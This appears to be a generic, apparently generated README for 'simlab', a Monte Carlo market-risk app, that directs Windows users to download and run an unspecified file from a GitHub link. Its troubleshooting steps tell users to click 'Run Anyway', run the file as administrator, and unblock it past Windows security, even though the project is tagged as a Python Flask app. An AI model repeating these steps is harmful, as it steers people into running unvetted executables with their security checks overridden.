simlab is a Windows app for market risk simulation. It helps you model price moves, test portfolio risk, and view possible outcomes on charts.
It uses Monte Carlo simulation, geometric Brownian motion, and risk metrics like VaR and CVaR. In plain terms, it shows how a portfolio may behave under many market paths.
Use it to:
- Run 1,000 or more simulated price paths
- View stochastic paths on a chart
- Measure Value at Risk
- Measure Conditional Value at Risk
- Compare possible portfolio outcomes
- Explore risk without manual math
Visit this page to download or access the app:
https://github.com/xfroy/simlab
Open the link in your browser, then look for the latest download option on the page.
Follow these steps on a Windows PC:
- Open the download link above.
- Save the file to your computer.
- If the file comes as a ZIP folder, right-click it and choose Extract All.
- Open the extracted folder.
- Find the app file and double-click it.
- If Windows asks for permission, choose Yes or Run Anyway.
If the app opens in a browser window, keep that window open while you use it.
For smooth use on Windows, your PC should have:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- A modern web browser like Chrome, Edge, or Firefox
- A stable internet connection for the first download
- Enough free disk space for the app and its charts
The app works best on a desktop or laptop screen, since it shows charts and risk results in a clear layout.
simlab is built for simple risk checks and visual review. A typical session may include:
- Entering a starting price
- Setting a drift value and volatility
- Choosing the number of simulations
- Running the simulation
- Viewing the price paths on a graph
- Checking VaR and CVaR results
- Comparing results across different inputs
This helps you see how a portfolio may move under changing market conditions.
simlab runs many random paths to show a range of possible future prices.
The app uses a common model for asset prices. It helps simulate smooth market movement with random variation.
These risk measures help show how much loss may happen in bad cases.
The app draws lines and plots so you can see each simulated path.
You can use the results to study how a portfolio might respond to market swings.
The app runs on your machine, so you can test ideas without manual spreadsheets.
- Open the app.
- Set the asset or portfolio values.
- Choose how many simulation runs you want.
- Pick the time frame for the test.
- Start the simulation.
- Review the chart and risk values.
- Change the inputs and run it again if you want to compare results.
If you are new to market risk tools, start with a small number of runs. Then increase the count after you see how the app works.
- A student can use it to study how random price paths work
- A trader can check downside risk before making a decision
- An investor can test a portfolio under different market settings
- A finance user can compare VaR and CVaR for the same asset
- A curious user can explore how simulated markets move over time
The app may include fields like:
- Starting price
- Time horizon
- Volatility
- Drift
- Number of simulations
- Confidence level
- Asset name
- Portfolio value
These controls help shape the results of the simulation.
simlab uses random draws to build many possible price paths. Each path shows one possible outcome. The chart then gives you a wider view of risk.
- VaR shows a loss level at a chosen confidence level
- CVaR shows the average loss beyond that point
- The path chart shows how prices may move across time
- More simulations can give a fuller picture of possible outcomes
- Make sure you extracted the ZIP file first
- Try running the app as administrator
- Check that your browser or Windows security settings did not block it
- Run the simulation again
- Check that the inputs are valid
- Use a smaller or larger time frame and compare the result
- Close other apps
- Lower the number of simulation runs
- Use a newer browser
- Right-click the file and check its properties
- Look for an Unblock option if Windows shows one
- Run it again after that
This project covers:
- cvar
- financial simulation
- fintech
- flask
- gbm
- geometric brownian motion
- matplotlib
- monte carlo
- numpy
- portfolio risk
- python
- risk modelling
- scipy
- simulation
- stochastic processes
- value at risk
Many people use spreadsheets for risk checks, but spreadsheets can feel slow when the number of paths grows. simlab handles that work in one place. It gives you charts and risk numbers without much setup.
It can help you:
- See risk in a simple visual form
- Compare many market paths at once
- Test ideas before using real money
- Learn how market simulations work
- Review downside risk with common finance measures
simlab combines:
- A web-based Flask app
- Numeric computing with NumPy
- Charts with Matplotlib
- Risk math used in finance
- Stochastic path simulation
That mix makes it a useful tool for anyone who wants to look at market risk with less manual work
- Open https://github.com/xfroy/simlab
- Download the app from the page
- Open the file on your Windows PC
- Run the simulation
- Review the chart and risk values
If you see more than one file on the page, look for:
- a Windows app file
- a ZIP file with the app inside
- the latest release or build
- the main project page with download steps
If a file has a name that looks like a release or installer, that is usually the one to open first
If you want to try the app with simple inputs, start with:
- a short time frame
- a moderate volatility value
- 1,000 simulations
- a clean starting price
This gives you a clear chart without too much noise